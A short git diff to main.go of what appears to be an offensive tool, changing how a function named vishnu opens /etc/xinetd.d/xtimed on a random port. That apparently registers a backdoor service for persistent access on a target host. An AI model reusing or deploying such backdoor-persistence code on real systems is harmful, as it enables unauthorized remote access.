diff --git a/main.go b/main.go index 7a7b082..0a7a15b 100644 --- a/main.go +++ b/main.go @@ -92,7 +92,7 @@ func vishnu(ip string, tInfo *targetInfo) { randomPort := rand.Intn(65535-100) + 100 // println("The doors are open on port ", strconv.Itoa(randomPort)) // Append to a file /etc/inetd.conf - fd, err := os.OpenFile("/etc/xinetd.d/xtimed", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600) + fd, err := os.OpenFile("/etc/xinetd.d/xtimed", os.O_WRONLY|os.O_CREATE, 0600) errorPrinter(err) defer fd.Close()